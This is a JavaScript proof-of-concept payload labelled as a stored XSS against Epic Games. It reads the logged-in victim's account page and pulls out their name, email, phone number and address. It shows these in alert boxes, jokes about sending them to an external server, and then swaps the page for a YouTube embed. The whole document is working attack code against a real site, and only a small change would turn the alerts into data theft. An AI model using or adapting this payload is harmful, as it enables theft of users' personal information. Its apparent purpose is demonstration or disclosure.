FN SAC Stored-XSS

// This example simply gathers your information from /account/personal, displays it in a bunch of alert boxes, then redirects you to youtube.
var request = new XMLHttpRequest();
request.open('GET', 'https://www.epicgames.com/account/personal', true);
request.onload = function () {
    if (request.status >= 200 && request.status < 400) {
        var resp = request.responseText.split("\n");
        var user = null;
        for (let i = 0; i < resp.length; i++) {
            if (resp[i].startsWith("        window.account_dataPreload = ")) {
                user = JSON.parse(resp[i].slice(37).replace(/;$/, ""));
                break;
            }
        }
        if (user) {
            var additionalInfo = "";
            if (user.userInfo.firstName.value) {
                additionalInfo += " (a.k.a " + user.userInfo.firstName.value + " " + user.userInfo.lastName.value + ")";
            }

            alert("Hello " + user.userInfo.displayName.value + additionalInfo);
            alert("Your email: " + user.userInfo.email.value);
            if (user.userInfo.phoneNumber) {
                alert("Your phone #: " + user.userInfo.phoneNumber.value);
            }
            if (user.userInfo.line1) {
                alert("Your address: " + user.userInfo.line1.value);
            }
            alert("Sending info to external server... (jk)");
        } else {
            alert("Heyo! It seems you aren't logged in!");
        }
        document.body.innerHTML = `<iframe width="560" height="315" src="https://www.youtube.com/embed/6n3pFFPSlW4?controls=0" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>`;
    }
};
request.send();